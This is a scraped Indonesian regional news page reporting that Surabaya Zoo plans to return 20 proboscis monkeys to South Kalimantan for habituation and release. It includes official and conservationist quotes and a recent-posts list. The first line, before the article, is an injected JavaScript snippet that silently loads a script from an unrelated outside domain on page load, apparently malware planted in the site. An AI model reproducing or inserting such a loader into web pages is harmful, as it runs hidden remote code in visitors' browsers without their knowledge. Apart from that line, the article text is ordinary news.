(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Kebun Binatang Surabaya Akan Kembalikan 20 Bekantan ke Kalsel


BANJARBARU, Kebun Binatang Surabaya (KBS) akan mengembalikan sebanyak 20 ekor bekantan ke Kalsel. Upaya ini dilakukan, karena kondisi KBS yang saat ini sudah over populasi.

Sebelum memulangkan maskot Kalsel tersebut, Dinas Kehutanan (Dishut) Kalsel terlebih dahulu berkoordinasi dengan Balai Besar KSDA Jawa Timur dan pihak KBS. Hal ini dilakukan guna menghindari hal yang tidak diinginkan akibat dari over populasi.

“Sudah menjadi kewajiban kita bersama sebagai warga Banua untuk melindungi dan melakukan konservasi terhadap satwa endemik Kalsel yang juga maskot kebanggaan warga Banua,” ujar Kadishut Kalsel Hanif Faisol Nurofiq, Rabu (23/1).

Bekantan berusia 9 sampai 10 tahun yang akan dipulangkan tersebut tidak langsung dilepas ke alam, namun terlebih dahulu dihabituasi di Tahura Sultan Adam Mandiangin. “Setelah dihabiutasi baru dilepas ke Pulau Bekantan yang masih berada di Kawasan Tahura SA. Habituasi bertujuan untuk memulihkan kondisi bekantan setelah ditranslokasi, juga agar bekantan-bekantan tersebut merasa terikat dengan rumah barunya,” tambah Hanif dilansir Tribunnews.com.

Ia menjelaskan, bahwa dalam waktu dekat KBS akan menyurati Walikota Surabaya melalui Bidang Perekonomian Pemkot Surabaya dengan tembusan Dishut Kalsel untuk meminta arahan dan persetujuan translokasi. “Berdasarkan arahan dan persetujuan Walikota, maka pihak KBS akan mempersiapkan kepulangan bekantan tersebut dalam rangka translokasi,” bebernya.

Dihubungi terpisah, Ketua Sahabat Bekantan Indonesia (SBI) Banjarmasin, Amalia Rezeki mengaku mendukung pemulangan Bekantan tersebut. Dikatakan Amalia, tahun 2016 lalu sudah diupayakan pemulangan Bekantan karena over kapasitas. “Saat itu kami juga sudah audiansi dengan BKSAD Jawa Timur, alhamdulillah sekarang bisa dipulangkan. Apapun jenisnya jika itu konservasi Bekantan pasti kami dukung,” ujarnya.

Menurut Amalia, ada beberapa kawasan di Kalsel yang bisa dijadikan tempat tinggal Bekantan, mesko begitu tetap harus ada penelitian mendalam. “Harus ada penelitian mendalam, apalagi di kawasan tertentu ada Bekantan yang sudah lama tinggal, jadi perlu adaptasi lagi dengan pendatang baru. Yang perlu kita teliti untuk menetapkan rumah baru bekantan adalag bagaimana pakan dan habitat di sana. Tapi saya yakin pihak pemerintah pasti melakukan kajian terlebih dahulu sebelum melepas bekantan ke alam, ” terangnya. (nurhd/trb)

Reporter: Nurhd/trb
Editor: Chell

Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

5 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

5 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

5 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

6 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

6 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

6 jam ago

This website uses cookies.